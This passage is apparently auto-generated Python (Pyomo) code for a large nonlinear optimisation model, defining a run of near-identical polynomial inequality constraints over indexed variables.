m.c1862 = Constraint(expr=-0.007*m.x1627*m.x1261*(0.0775*m.x1953*(1 - 0.000727272727272727*m.x1953) + m.x1953 +
0.003003125*m.x1953*(1 - 0.000727272727272727*m.x1953)*(1 - 0.00145454545454545*m.x1953) +
6.0669191919192e-8*(1189.2375*m.x1953*(1 - 0.000727272727272727*m.x1953)*(1 -
0.00145454545454545*m.x1953) - 1.86*(0.93*m.x1953*(1 - 0.000727272727272727*m.x1953))**2 -
1.49610402*m.x1953*m.x1953*(1 - 0.000727272727272727*m.x1953)*(1 - 0.00145454545454545*m.x1953
)*(1 - 0.00145454545454545*m.x1953))) + m.x481 <= 0)
m.c1863 = Constraint(expr=-0.007*m.x1627*m.x1262*(0.0775*m.x1954*(1 - 0.000727272727272727*m.x1954) + m.x1954 +
0.003003125*m.x1954*(1 - 0.000727272727272727*m.x1954)*(1 - 0.00145454545454545*m.x1954) +
6.0669191919192e-8*(1189.2375*m.x1954*(1 - 0.000727272727272727*m.x1954)*(1 -
0.00145454545454545*m.x1954) - 1.86*(0.93*m.x1954*(1 - 0.000727272727272727*m.x1954))**2 -
1.49610402*m.x1954*m.x1954*(1 - 0.000727272727272727*m.x1954)*(1 - 0.00145454545454545*m.x1954
)*(1 - 0.00145454545454545*m.x1954))) + m.x482 <= 0)
m.c1864 = Constraint(expr=-0.007*m.x1627*m.x1263*(0.0775*m.x1955*(1 - 0.000727272727272727*m.x1955) + m.x1955 +
0.003003125*m.x1955*(1 - 0.000727272727272727*m.x1955)*(1 - 0.00145454545454545*m.x1955) +
6.0669191919192e-8*(1189.2375*m.x1955*(1 - 0.000727272727272727*m.x1955)*(1 -
0.00145454545454545*m.x1955) - 1.86*(0.93*m.x1955*(1 - 0.000727272727272727*m.x1955))**2 -
1.49610402*m.x1955*m.x1955*(1 - 0.000727272727272727*m.x1955)*(1 - 0.00145454545454545*m.x1955
)*(1 - 0.00145454545454545*m.x1955))) + m.x483 <= 0)
m.c1865 = Constraint(expr=-0.007*m.x1627*m.x1264*(0.0775*m.x1956*(1 - 0.000727272727272727*m.x1956) + m.x1956 +
0.003003125*m.x1956*(1 - 0.000727272727272727*m.x1956)*(1 - 0.00145454545454545*m.x1956) +
6.0669191919192e-8*(1189.2375*m.x1956*(1 - 0.000727272727272727*m.x1956)*(1 -
0.00145454545454545*m.x1956) - 1.86*(0.93*m.x1956*(1 - 0.000727272727272727*m.x1956))**2 -
1.49610402*m.x1956*m.x1956*(1 - 0.000727272727272727*m.x1956)*(1 - 0.00145454545454545*m.x1956
)*(1 - 0.00145454545454545*m.x1956))) + m.x484 <= 0)
m.c1866 = Constraint(expr=-0.007*m.x1627*m.x1265*(0.0775*m.x1957*(1 - 0.000727272727272727*m.x1957) + m.x1957 +
0.003003125*m.x1957*(1 - 0.000727272727272727*m.x1957)*(1 - 0.00145454545454545*m.x1957) +
6.0669191919192e-8*(1189.2375*m.x1957*(1 - 0.000727272727272727*m.x1957)*(1 -
0.00145454545454545*m.x1957) - 1.86*(0.93*m.x1957*(1 - 0.000727272727272727*m.x1957))**2 -
1.49610402*m.x1957*m.x1957*(1 - 0.000727272727272727*m.x1957)*(1 - 0.00145454545454545*m.x1957
)*(1 - 0.00145454545454545*m.x1957))) + m.x485 <= 0)
m.c1867 = Constraint(expr=-0.007*m.x1627*m.x1266*(0.0775*m.x1958*(1 - 0.000727272727272727*m.x1958) + m.x1958 +
0.003003125*m.x1958*(1 - 0.000727272727272727*m.x1958)*(1 - 0.00145454545454545*m.x1958) +
6.0669191919192e-8*(1189.2375*m.x1958*(1 - 0.000727272727272727*m.x1958)*(1 -
0.00145454545454545*m.x1958) - 1.86*(0.93*m.x1958*(1 - 0.000727272727272727*m.x1958))**2 -
1.49610402*m.x1958*m.x1958*(1 - 0.000727272727272727*m.x1958)*(1 - 0.00145454545454545*m.x1958
)*(1 - 0.00145454545454545*m.x1958))) + m.x486 <= 0)
m.c1868 = Constraint(expr=-0.007*m.x1627*m.x1267*(0.0775*m.x1959*(1 - 0.000727272727272727*m.x1959) + m.x1959 +
0.003003125*m.x1959*(1 - 0.000727272727272727*m.x1959)*(1 - 0.00145454545454545*m.x1959) +
6.0669191919192e-8*(1189.2375*m.x1959*(1 - 0.000727272727272727*m.x1959)*(1 -
0.00145454545454545*m.x1959) - 1.86*(0.93*m.x1959*(1 - 0.000727272727272727*m.x1959))**2 -
1.49610402*m.x1959*m.x1959*(1 - 0.000727272727272727*m.x1959)*(1 - 0.00145454545454545*m.x1959
)*(1 - 0.00145454545454545*m.x1959))) + m.x487 <= 0)
m.c1869 = Constraint(expr=-0.007*m.x1627*m.x1268*(0.0775*m.x1960*(1 - 0.000727272727272727*m.x1960) + m.x1960 +
0.003003125*m.x1960*(1 - 0.000727272727272727*m.x1960)*(1 - 0.00145454545454545*m.x1960) +
6.0669191919192e-8*(1189.2375*m.x1960*(1 - 0.000727272727272727*m.x1960)*(1 -
0.00145454545454545*m.x1960) - 1.86*(0.93*m.x1960*(1 - 0.000727272727272727*m.x1960))**2 -
1.49610402*m.x1960*m.x1960*(1 - 0.000727272727272727*m.x1960)*(1 - 0.00145454545454545*m.x1960
)*(1 - 0.00145454545454545*m.x1960))) + m.x488 <= 0)
m.c1870 = Constraint(expr=-0.007*m.x1627*m.x1269*(0.0775*m.x1961*(1 - 0.000727272727272727*m.x1961) + m.x1961 +
0.003003125*m.x1961*(1 - 0.000727272727272727*m.x1961)*(1 - 0.00145454545454545*m.x1961) +
6.0669191919192e-8*(1189.2375*m.x1961*(1 - 0.000727272727272727*m.x1961)*(1 -
0.00145454545454545*m.x1961) - 1.86*(0.93*m.x1961*(1 - 0.000727272727272727*m.x1961))**2 -
1.49610402*m.x1961*m.x1961*(1 - 0.000727272727272727*m.x1961)*(1 - 0.00145454545454545*m.x1961
)*(1 - 0.00145454545454545*m.x1961))) + m.x489 <= 0)
m.c1871 = Constraint(expr=-0.007*m.x1627*m.x1270*(0.0775*m.x1962*(1 - 0.000727272727272727*m.x1962) + m.x1962 +
0.003003125*m.x1962*(1 - 0.000727272727272727*m.x1962)*(1 - 0.00145454545454545*m.x1962) +
6.0669191919192e-8*(1189.2375*m.x1962*(1 - 0.000727272727272727*m.x1962)*(1 -
0.00145454545454545*m.x1962) - 1.86*(0.93*m.x1962*(1 - 0.000727272727272727*m.x1962))**2 -
1.49610402*m.x1962*m.x1962*(1 - 0.000727272727272727*m.x1962)*(1 - 0.00145454545454545*m.x1962
)*(1 - 0.00145454545454545*m.x1962))) + m.x490 <= 0)
m.c1872 = Constraint(expr=-0.007*m.x1627*m.x1271*(0.0775*m.x1963*(1 - 0.000727272727272727*m.x1963) + m.x1963 +
0.003003125*m.x1963*(1 - 0.000727272727272727*m.x1963)*(1 - 0.00145454545454545*m.x1963) +
6.0669191919192e-8*(1189.2375*m.x1963*(1 - 0.000727272727272727*m.x1963)*(1 -
0.00145454545454545*m.x1963) - 1.86*(0.93*m.x1963*(1 - 0.000727272727272727*m.x1963))**2 -
1.49610402*m.x1963*m.x1963*(1 - 0.000727272727272727*m.x1963)*(1 - 0.00145454545454545*m.x1963
)*(1 - 0.00145454545454545*m.x1963))) + m.x491 <= 0)
m.c1873 = Constraint(expr=-0.007*m.x1627*m.x1272*(0.0775*m.x1964*(1 - 0.000727272727272727*m.x1964) + m.x1964 +
0.003003125*m.x1964*(1 - 0.000727272727272727*m.x1964)*(1 - 0.00145454545454545*m.x1964) +
6.0669191919192e-8*(1189.2375*m.x1964*(1 - 0.000727272727272727*m.x1964)*(1 -
0.00145454545454545*m.x1964) - 1.86*(0.93*m.x1964*(1 - 0.000727272727272727*m.x1964))**2 -
1.49610402*m.x1964*m.x1964*(1 - 0.000727272727272727*m.x1964)*(1 - 0.00145454545454545*m.x1964
)*(1 - 0.00145454545454545*m.x1964))) + m.x492 <= 0)
m.c1874 = Constraint(expr=-0.007*m.x1628*m.x1273*(0.0775*m.x1965*(1 - 0.000727272727272727*m.x1965) + m.x1965 +
0.003003125*m.x1965*(1 - 0.000727272727272727*m.x1965)*(1 - 0.00145454545454545*m.x1965) +
6.0669191919192e-8*(1189.2375*m.x1965*(1 - 0.000727272727272727*m.x1965)*(1 -
0.00145454545454545*m.x1965) - 1.86*(0.93*m.x1965*(1 - 0.000727272727272727*m.x1965))**2 -
1.49610402*m.x1965*m.x1965*(1 - 0.000727272727272727*m.x1965)*(1 - 0.00145454545454545*m.x1965
)*(1 - 0.00145454545454545*m.x1965))) + m.x493 <= 0)
m.c1875 = Constraint(expr=-0.007*m.x1628*m.x1274*(0.0775*m.x1966*(1 - 0.000727272727272727*m.x1966) + m.x1966 +
0.003003125*m.x1966*(1 - 0.000727272727272727*m.x1966)*(1 - 0.00145454545454545*m.x1966) +
6.0669191919192e-8*(1189.2375*m.x1966*(1 - 0.000727272727272727*m.x1966)*(1 -
0.00145454545454545*m.x1966) - 1.86*(0.93*m.x1966*(1 - 0.000727272727272727*m.x1966))**2 -
1.49610402*m.x1966*m.x1966*(1 - 0.000727272727272727*m.x1966)*(1 - 0.00145454545454545*m.x1966
)*(1 - 0.00145454545454545*m.x1966))) + m.x494 <= 0)
m.c1876 = Constraint(expr=-0.007*m.x1628*m.x1275*(0.0775*m.x1967*(1 - 0.000727272727272727*m.x1967) + m.x1967 +
0.003003125*m.x1967*(1 - 0.000727272727272727*m.x1967)*(1 - 0.00145454545454545*m.x1967) +
6.0669191919192e-8*(1189.2375*m.x1967*(1 - 0.000727272727272727*m.x1967)*(1 -
0.00145454545454545*m.x1967) - 1.86*(0.93*m.x1967*(1 - 0.000727272727272727*m.x1967))**2 -
1.49610402*m.x1967*m.x1967*(1 - 0.000727272727272727*m.x1967)*(1 - 0.00145454545454545*m.x1967
)*(1 - 0.00145454545454545*m.x1967))) + m.x495 <= 0)
m.c1877 = Constraint(expr=-0.007*m.x1628*m.x1276*(0.0775*m.x1968*(1 - 0.000727272727272727*m.x1968) + m.x1968 +
0.003003125*m.x1968*(1 - 0.000727272727272727*m.x1968)*(1 - 0.00145454545454545*m.x1968) +
6.0669191919192e-8*(1189.2375*m.x1968*(1 - 0.000727272727272727*m.x1968)*(1 -
0.00145454545454545*m.x1968) - 1.86*(0.93*m.x1968*(1 - 0.000727272727272727*m.x1968))**2 -
1.49610402*m.x1968*m.x1968*(1 - 0.000727272727272727*m.x1968)*(1 - 0.00145454545454545*m.x1968
)*(1 - 0.00145454545454545*m.x1968))) + m.x496 <= 0)
m.c1878 = Constraint(expr=-0.007*m.x1628*m.x1277*(0.0775*m.x1969*(1 - 0.000727272727272727*m.x1969) + m.x1969 +
0.003003125*m.x1969*(1 - 0.000727272727272727*m.x1969)*(1 - 0.00145454545454545*m.x1969) +
6.0669191919192e-8*(1189.2375*m.x1969*(1 - 0.000727272727272727*m.x1969)*(1 -
0.00145454545454545*m.x1969) - 1.86*(0.93*m.x1969*(1 - 0.000727272727272727*m.x1969))**2 -
1.49610402*m.x1969*m.x1969*(1 - 0.000727272727272727*m.x1969)*(1 - 0.00145454545454545*m.x1969
)*(1 - 0.00145454545454545*m.x1969))) + m.x497 <= 0)
m.c1879 = Constraint(expr=-0.007*m.x1628*m.x1278*(0.0775*m.x1970*(1 - 0.000727272727272727*m.x1970) + m.x1970 +
0.003003125*m.x1970*(1 - 0.000727272727272727*m.x1970)*(1 - 0.00145454545454545*m.x1970) +
6.0669191919192e-8*(1189.2375*m.x1970*(1 - 0.000727272727272727*m.x1970)*(1 -
0.00145454545454545*m.x1970) - 1.86*(0.93*m.x1970*(1 - 0.000727272727272727*m.x1970))**2 -
1.49610402*m.x1970*m.x1970*(1 - 0.000727272727272727*m.x1970)*(1 - 0.00145454545454545*m.x1970
)*(1 - 0.00145454545454545*m.x1970))) + m.x498 <= 0)
m.c1880 = Constraint(expr=-0.007*m.x1628*m.x1279*(0.0775*m.x1971*(1 - 0.000727272727272727*m.x1971) + m.x1971 +
0.003003125*m.x1971*(1 - 0.000727272727272727*m.x1971)*(1 - 0.00145454545454545*m.x1971) +
6.0669191919192e-8*(1189.2375*m.x1971*(1 - 0.000727272727272727*m.x1971)*(1 -
0.00145454545454545*m.x1971) - 1.86*(0.93*m.x1971*(1 - 0.000727272727272727*m.x1971))**2 -
1.49610402*m.x1971*m.x1971*(1 - 0.000727272727272727*m.x1971)*(1 - 0.00145454545454545*m.x1971
)*(1 - 0.00145454545454545*m.x1971))) + m.x499 <= 0)
m.c1881 = Constraint(expr=-0.007*m.x1628*m.x1280*(0.0775*m.x1972*(1 - 0.000727272727272727*m.x1972) + m.x1972 +
0.003003125*m.x1972*(1 - 0.000727272727272727*m.x1972)*(1 - 0.00145454545454545*m.x1972) +
6.0669191919192e-8*(1189.2375*m.x1972*(1 - 0.000727272727272727*m.x1972)*(1 -
0.00145454545454545*m.x1972) - 1.86*(0.93*m.x1972*(1 - 0.000727272727272727*m.x1972))**2 -
1.49610402*m.x1972*m.x1972*(1 - 0.000727272727272727*m.x1972)*(1 - 0.00145454545454545*m.x1972
)*(1 - 0.00145454545454545*m.x1972))) + m.x500 <= 0)
m.c1882 = Constraint(expr=-0.007*m.x1628*m.x1281*(0.0775*m.x1973*(1 - 0.000727272727272727*m.x1973) + m.x1973 +
0.003003125*m.x1973*(1 - 0.000727272727272727*m.x1973)*(1 - 0.00145454545454545*m.x1973) +
6.0669191919192e-8*(1189.2375*m.x1973*(1 - 0.000727272727272727*m.x1973)*(1 -
0.00145454545454545*m.x1973) - 1.86*(0.93*m.x1973*(1 - 0.000727272727272727*m.x1973))**2 -
1.49610402*m.x1973*m.x1973*(1 - 0.000727272727272727*m.x1973)*(1 - 0.00145454545454545*m.x1973
)*(1 - 0.00145454545454545*m.x1973))) + m.x501 <= 0)
m.c1883 = Constraint(expr=-0.007*m.x1628*m.x1282*(0.0775*m.x1974*(1 - 0.000727272727272727*m.x1974) + m.x1974 +
0.003003125*m.x1974*(1 - 0.000727272727272727*m.x1974)*(1 - 0.00145454545454545*m.x1974) +
6.0669191919192e-8*(1189.2375*m.x1974*(1 - 0.000727272727272727*m.x1974)*(1 -
0.00145454545454545*m.x1974) - 1.86*(0.93*m.x1974*(1 - 0.000727272727272727*m.x1974))**2 -
1.49610402*m.x1974*m.x1974*(1 - 0.000727272727272727*m.x1974)*(1 - 0.00145454545454545*m.x1974
)*(1 - 0.00145454545454545*m.x1974))) + m.x502 <= 0)
m.c1884 = Constraint(expr=-0.007*m.x1628*m.x1283*(0.0775*m.x1975*(1 - 0.000727272727272727*m.x1975) + m.x1975 +
0.003003125*m.x1975*(1 - 0.000727272727272727*m.x1975)*(1 - 0.00145454545454545*m.x1975) +
6.0669191919192e-8*(1189.2375*m.x1975*(1 - 0.000727272727272727*m.x1975)*(1 -
0.00145454545454545*m.x1975) - 1.86*(0.93*m.x1975*(1 - 0.000727272727272727*m.x1975))**2 -
1.49610402*m.x1975*m.x1975*(1 - 0.000727272727272727*m.x1975)*(1 - 0.00145454545454545*m.x1975
)*(1 - 0.00145454545454545*m.x1975))) + m.x503 <= 0)
m.c1885 = Constraint(expr=-0.007*m.x1628*m.x1284*(0.0775*m.x1976*(1 - 0.000727272727272727*m.x1976) + m.x1976 +
0.003003125*m.x1976*(1 - 0.000727272727272727*m.x1976)*(1 - 0.00145454545454545*m.x1976) +
6.0669191919192e-8*(1189.2375*m.x1976*(1 - 0.000727272727272727*m.x1976)*(1 -
0.00145454545454545*m.x1976) - 1.86*(0.93*m.x1976*(1 - 0.000727272727272727*m.x1976))**2 -
1.49610402*m.x1976*m.x1976*(1 - 0.000727272727272727*m.x1976)*(1 - 0.00145454545454545*m.x1976
)*(1 - 0.00145454545454545*m.x1976))) + m.x504 <= 0)
m.c1886 = Constraint(expr=-0.007*m.x1629*m.x1285*(0.0775*m.x1977*(1 - 0.000727272727272727*m.x1977) + m.x1977 +
0.003003125*m.x1977*(1 - 0.000727272727272727*m.x1977)*(1 - 0.00145454545454545*m.x1977) +
6.0669191919192e-8*(1189.2375*m.x1977*(1 - 0.000727272727272727*m.x1977)*(1 -
0.00145454545454545*m.x1977) - 1.86*(0.93*m.x1977*(1 - 0.000727272727272727*m.x1977))**2 -
1.49610402*m.x1977*m.x1977*(1 - 0.000727272727272727*m.x1977)*(1 - 0.00145454545454545*m.x1977
)*(1 - 0.00145454545454545*m.x1977))) + m.x505 <= 0)
m.c1887 = Constraint(expr=-0.007*m.x1629*m.x1286*(0.0775*m.x1978*(1 - 0.000727272727272727*m.x1978) + m.x1978 +
0.003003125*m.x1978*(1 - 0.000727272727272727*m.x1978)*(1 - 0.00145454545454545*m.x1978) +
6.0669191919192e-8*(1189.2375*m.x1978*(1 - 0.000727272727272727*m.x1978)*(1 -
0.00145454545454545*m.x1978) - 1.86*(0.93*m.x1978*(1 - 0.000727272727272727*m.x1978))**2 -
1.49610402*m.x1978*m.x1978*(1 - 0.000727272727272727*m.x1978)*(1 - 0.00145454545454545*m.x1978
)*(1 - 0.00145454545454545*m.x1978))) + m.x506 <= 0)
m.c1888 = Constraint(expr=-0.007*m.x1629*m.x1287*(0.0775*m.x1979*(1 - 0.000727272727272727*m.x1979) + m.x1979 +
0.003003125*m.x1979*(1 - 0.000727272727272727*m.x1979)*(1 - 0.00145454545454545*m.x1979) +
6.0669191919192e-8*(1189.2375*m.x1979*(1 - 0.000727272727272727*m.x1979)*(1 -
0.00145454545454545*m.x1979) - 1.86*(0.93*m.x1979*(1 - 0.000727272727272727*m.x1979))**2 -
1.49610402*m.x1979*m.x1979*(1 - 0.000727272727272727*m.x1979)*(1 - 0.00145454545454545*m.x1979
)*(1 - 0.00145454545454545*m.x1979))) + m.x507 <= 0)
m.c1889 = Constraint(expr=-0.007*m.x1629*m.x1288*(0.0775*m.x1980*(1 - 0.000727272727272727*m.x1980) + m.x1980 +
0.003003125*m.x1980*(1 - 0.000727272727272727*m.x1980)*(1 - 0.00145454545454545*m.x1980) +
6.0669191919192e-8*(1189.2375*m.x1980*(1 - 0.000727272727272727*m.x1980)*(1 -
0.00145454545454545*m.x1980) - 1.86*(0.93*m.x1980*(1 - 0.000727272727272727*m.x1980))**2 -
1.49610402*m.x1980*m.x1980*(1 - 0.000727272727272727*m.x1980)*(1 - 0.00145454545454545*m.x1980
)*(1 - 0.00145454545454545*m.x1980))) + m.x508 <= 0)
m.c1890 = Constraint(expr=-0.007*m.x1629*m.x1289*(0.0775*m.x1981*(1 - 0.000727272727272727*m.x1981) + m.x1981 +
0.003003125*m.x1981*(1 - 0.000727272727272727*m.x1981)*(1 - 0.00145454545454545*m.x1981) +
6.0669191919192e-8*(1189.2375*m.x1981*(1 - 0.000727272727272727*m.x1981)*(1 -
0.00145454545454545*m.x1981) - 1.86*(0.93*m.x1981*(1 - 0.000727272727272727*m.x1981))**2 -
1.49610402*m.x1981*m.x1981*(1 - 0.000727272727272727*m.x1981)*(1 - 0.00145454545454545*m.x1981
)*(1 - 0.00145454545454545*m.x1981))) + m.x509 <= 0)
m.c1891 = Constraint(expr=-0.007*m.x1629*m.x1290*(0.0775*m.x1982*(1 - 0.000727272727272727*m.x1982) + m.x1982 +
0.003003125*m.x1982*(1 - 0.000727272727272727*m.x1982)*(1 - 0.00145454545454545*m.x1982) +
6.0669191919192e-8*(1189.2375*m.x1982*(1 - 0.000727272727272727*m.x1982)*(1 -
0.00145454545454545*m.x1982) - 1.86*(0.93*m.x1982*(1 - 0.000727272727272727*m.x1982))**2 -
1.49610402*m.x1982*m.x1982*(1 - 0.000727272727272727*m.x1982)*(1 - 0.00145454545454545*m.x1982
)*(1 - 0.00145454545454545*m.x1982))) + m.x510 <= 0)
m.c1892 = Constraint(expr=-0.007*m.x1629*m.x1291*(0.0775*m.x1983*(1 - 0.000727272727272727*m.x1983) + m.x1983 +
0.003003125*m.x1983*(1 - 0.000727272727272727*m.x1983)*(1 - 0.00145454545454545*m.x1983) +
6.0669191919192e-8*(1189.2375*m.x1983*(1 - 0.000727272727272727*m.x1983)*(1 -
0.00145454545454545*m.x1983) - 1.86*(0.93*m.x1983*(1 - 0.000727272727272727*m.x1983))**2 -
1.49610402*m.x1983*m.x1983*(1 - 0.000727272727272727*m.x1983)*(1 - 0.00145454545454545*m.x1983
)*(1 - 0.00145454545454545*m.x1983))) + m.x511 <= 0)
m.c1893 = Constraint(expr=-0.007*m.x1629*m.x1292*(0.0775*m.x1984*(1 - 0.000727272727272727*m.x1984) + m.x1984 +
0.003003125*m.x1984*(1 - 0.000727272727272727*m.x1984)*(1 - 0.00145454545454545*m.x1984) +
6.0669191919192e-8*(1189.2375*m.x1984*(1 - 0.000727272727272727*m.x1984)*(1 -
0.00145454545454545*m.x1984) - 1.86*(0.93*m.x1984*(1 - 0.000727272727272727*m.x1984))**2 -
1.49610402*m.x1984*m.x1984*(1 - 0.000727272727272727*m.x1984)*(1 - 0.00145454545454545*m.x1984
)*(1 - 0.00145454545454545*m.x1984))) + m.x512 <= 0)
m.c1894 = Constraint(expr=-0.007*m.x1629*m.x1293*(0.0775*m.x1985*(1 - 0.000727272727272727*m.x1985) + m.x1985 +
0.003003125*m.x1985*(1 - 0.000727272727272727*m.x1985)*(1 - 0.00145454545454545*m.x1985) +
6.0669191919192e-8*(1189.2375*m.x1985*(1 - 0.000727272727272727*m.x1985)*(1 -
0.00145454545454545*m.x1985) - 1.86*(0.93*m.x1985*(1 - 0.000727272727272727*m.x1985))**2 -
1.49610402*m.x1985*m.x1985*(1 - 0.000727272727272727*m.x1985)*(1 - 0.00145454545454545*m.x1985
)*(1 - 0.00145454545454545*m.x1985))) + m.x513 <= 0)
m.c1895 = Constraint(expr=-0.007*m.x1629*m.x1294*(0.0775*m.x1986*(1 - 0.000727272727272727*m.x1986) + m.x1986 +
0.003003125*m.x1986*(1 - 0.000727272727272727*m.x1986)*(1 - 0.00145454545454545*m.x1986) +
6.0669191919192e-8*(1189.2375*m.x1986*(1 - 0.000727272727272727*m.x1986)*(1 -
0.00145454545454545*m.x1986) - 1.86*(0.93*m.x1986*(1 - 0.000727272727272727*m.x1986))**2 -
1.49610402*m.x1986*m.x1986*(1 - 0.000727272727272727*m.x1986)*(1 - 0.00145454545454545*m.x1986
)*(1 - 0.00145454545454545*m.x1986))) + m.x514 <= 0)
m.c1896 = Constraint(expr=-0.007*m.x1629*m.x1295*(0.0775*m.x1987*(1 - 0.000727272727272727*m.x1987) + m.x1987 +
0.003003125*m.x1987*(1 - 0.000727272727272727*m.x1987)*(1 - 0.00145454545454545*m.x1987) +
6.0669191919192e-8*(1189.2375*m.x1987*(1 - 0.000727272727272727*m.x1987)*(1 -
0.00145454545454545*m.x1987) - 1.86*(0.93*m.x1987*(1 - 0.000727272727272727*m.x1987))**2 -
1.49610402*m.x1987*m.x1987*(1 - 0.000727272727272727*m.x1987)*(1 - 0.00145454545454545*m.x1987
)*(1 - 0.00145454545454545*m.x1987))) + m.x515 <= 0)
m.c1897 = Constraint(expr=-0.007*m.x1629*m.x1296*(0.0775*m.x1988*(1 - 0.000727272727272727*m.x1988) + m.x1988 +
0.003003125*m.x1988*(1 - 0.000727272727272727*m.x1988)*(1 - 0.00145454545454545*m.x1988) +
6.0669191919192e-8*(1189.2375*m.x1988*(1 - 0.000727272727272727*m.x1988)*(1 -
0.00145454545454545*m.x1988) - 1.86*(0.93*m.x1988*(1 - 0.000727272727272727*m.x1988))**2 -
1.49610402*m.x1988*m.x1988*(1 - 0.000727272727272727*m.x1988)*(1 - 0.00145454545454545*m.x1988
)*(1 - 0.00145454545454545*m.x1988))) + m.x516 <= 0)
m.c1898 = Constraint(expr=-0.007*m.x1630*m.x1297*(0.0775*m.x1989*(1 - 0.000727272727272727*m.x1989) + m.x1989 +
0.003003125*m.x1989*(1 - 0.000727272727272727*m.x1989)*(1 - 0.00145454545454545*m.x1989) +
6.0669191919192e-8*(1189.2375*m.x1989*(1 - 0.000727272727272727*m.x1989)*(1 -
0.00145454545454545*m.x1989) - 1.86*(0.93*m.x1989*(1 - 0.000727272727272727*m.x1989))**2 -
1.49610402*m.x1989*m.x1989*(1 - 0.000727272727272727*m.x1989)*(1 - 0.00145454545454545*m.x1989
)*(1 - 0.00145454545454545*m.x1989))) + m.x517 <= 0)
m.c1899 = Constraint(expr=-0.007*m.x1630*m.x1298*(0.0775*m.x1990*(1 - 0.000727272727272727*m.x1990) + m.x1990 +
0.003003125*m.x1990*(1 - 0.000727272727272727*m.x1990)*(1 - 0.00145454545454545*m.x1990) +
6.0669191919192e-8*(1189.2375*m.x1990*(1 - 0.000727272727272727*m.x1990)*(1 -
0.00145454545454545*m.x1990) - 1.86*(0.93*m.x1990*(1 - 0.000727272727272727*m.x1990))**2 -
1.49610402*m.x1990*m.x1990*(1 - 0.000727272727272727*m.x1990)*(1 - 0.00145454545454545*m.x1990
)*(1 - 0.00145454545454545*m.x1990))) + m.x518 <= 0)
m.c1900 = Constraint(expr=-0.007*m.x1630*m.x1299*(0.0775*m.x1991*(1 - 0.000727272727272727*m.x1991) + m.x1991 +
0.003003125*m.x1991*(1 - 0.000727272727272727*m.x1991)*(1 - 0.00145454545454545*m.x1991) +
6.0669191919192e-8*(1189.2375*m.x1991*(1 - 0.000727272727272727*m.x1991)*(1 -
0.00145454545454545*m.x1991) - 1.86*(0.93*m.x1991*(1 - 0.000727272727272727*m.x1991))**2 -
1.49610402*m.x1991*m.x1991*(1 - 0.000727272727272727*m.x1991)*(1 - 0.00145454545454545*m.x1991
)*(1 - 0.00145454545454545*m.x1991))) + m.x519 <= 0)
m.c1901 = Constraint(expr=-0.007*m.x1630*m.x1300*(0.0775*m.x1992*(1 - 0.000727272727272727*m.x1992) + m.x1992 +
0.003003125*m.x1992*(1 - 0.000727272727272727*m.x1992)*(1 - 0.00145454545454545*m.x1992) +
6.0669191919192e-8*(1189.2375*m.x1992*(1 - 0.000727272727272727*m.x1992)*(1 -
0.00145454545454545*m.x1992) - 1.86*(0.93*m.x1992*(1 - 0.000727272727272727*m.x1992))**2 -
1.49610402*m.x1992*m.x1992*(1 - 0.000727272727272727*m.x1992)*(1 - 0.00145454545454545*m.x1992
)*(1 - 0.00145454545454545*m.x1992))) + m.x520 <= 0)
m.c1902 = Constraint(expr=-0.007*m.x1630*m.x1301*(0.0775*m.x1993*(1 - 0.000727272727272727*m.x1993) + m.x1993 +
0.003003125*m.x1993*(1 - 0.000727272727272727*m.x1993)*(1 - 0.00145454545454545*m.x1993) +
6.0669191919192e-8*(1189.2375*m.x1993*(1 - 0.000727272727272727*m.x1993)*(1 -
0.00145454545454545*m.x1993) - 1.86*(0.93*m.x1993*(1 - 0.000727272727272727*m.x1993))**2 -
1.49610402*m.x1993*m.x1993*(1 - 0.000727272727272727*m.x1993)*(1 - 0.00145454545454545*m.x1993
)*(1 - 0.00145454545454545*m.x1993))) + m.x521 <= 0)
m.c1903 = Constraint(expr=-0.007*m.x1630*m.x1302*(0.0775*m.x1994*(1 - 0.000727272727272727*m.x1994) + m.x1994 +
0.003003125*m.x1994*(1 - 0.000727272727272727*m.x1994)*(1 - 0.00145454545454545*m.x1994) +
6.0669191919192e-8*(1189.2375*m.x1994*(1 - 0.000727272727272727*m.x1994)*(1 -
0.00145454545454545*m.x1994) - 1.86*(0.93*m.x1994*(1 - 0.000727272727272727*m.x1994))**2 -
1.49610402*m.x1994*m.x1994*(1 - 0.000727272727272727*m.x1994)*(1 - 0.00145454545454545*m.x1994
)*(1 - 0.00145454545454545*m.x1994))) + m.x522 <= 0)
m.c1904 = Constraint(expr=-0.007*m.x1630*m.x1303*(0.0775*m.x1995*(1 - 0.000727272727272727*m.x1995) + m.x1995 +
0.003003125*m.x1995*(1 - 0.000727272727272727*m.x1995)*(1 - 0.00145454545454545*m.x1995) +
6.0669191919192e-8*(1189.2375*m.x1995*(1 - 0.000727272727272727*m.x1995)*(1 -
0.00145454545454545*m.x1995) - 1.86*(0.93*m.x1995*(1 - 0.000727272727272727*m.x1995))**2 -
1.49610402*m.x1995*m.x1995*(1 - 0.000727272727272727*m.x1995)*(1 - 0.00145454545454545*m.x1995
)*(1 - 0.00145454545454545*m.x1995))) + m.x523 <= 0)
m.c1905 = Constraint(expr=-0.007*m.x1630*m.x1304*(0.0775*m.x1996*(1 - 0.000727272727272727*m.x1996) + m.x1996 +
0.003003125*m.x1996*(1 - 0.000727272727272727*m.x1996)*(1 - 0.00145454545454545*m.x1996) +
6.0669191919192e-8*(1189.2375*m.x1996*(1 - 0.000727272727272727*m.x1996)*(1 -
0.00145454545454545*m.x1996) - 1.86*(0.93*m.x1996*(1 - 0.000727272727272727*m.x1996))**2 -
1.49610402*m.x1996*m.x1996*(1 - 0.000727272727272727*m.x1996)*(1 - 0.00145454545454545*m.x1996
)*(1 - 0.00145454545454545*m.x1996))) + m.x524 <= 0)
m.c1906 = Constraint(expr=-0.007*m.x1630*m.x1305*(0.0775*m.x1997*(1 - 0.000727272727272727*m.x1997) + m.x1997 +
0.003003125*m.x1997*(1 - 0.000727272727272727*m.x1997)*(1 - 0.00145454545454545*m.x1997) +
6.0669191919192e-8*(1189.2375*m.x1997*(1 - 0.000727272727272727*m.x1997)*(1 -
0.00145454545454545*m.x1997) - 1.86*(0.93*m.x1997*(1 - 0.000727272727272727*m.x1997))**2 -
1.49610402*m.x1997*m.x1997*(1 - 0.000727272727272727*m.x1997)*(1 - 0.00145454545454545*m.x1997
)*(1 - 0.00145454545454545*m.x1997))) + m.x525 <= 0)
m.c1907 = Constraint(expr=-0.007*m.x1630*m.x1306*(0.0775*m.x1998*(1 - 0.000727272727272727*m.x1998) + m.x1998 +
0.003003125*m.x1998*(1 - 0.000727272727272727*m.x1998)*(1 - 0.00145454545454545*m.x1998) +
6.0669191919192e-8*(1189.2375*m.x1998*(1 - 0.000727272727272727*m.x1998)*(1 -
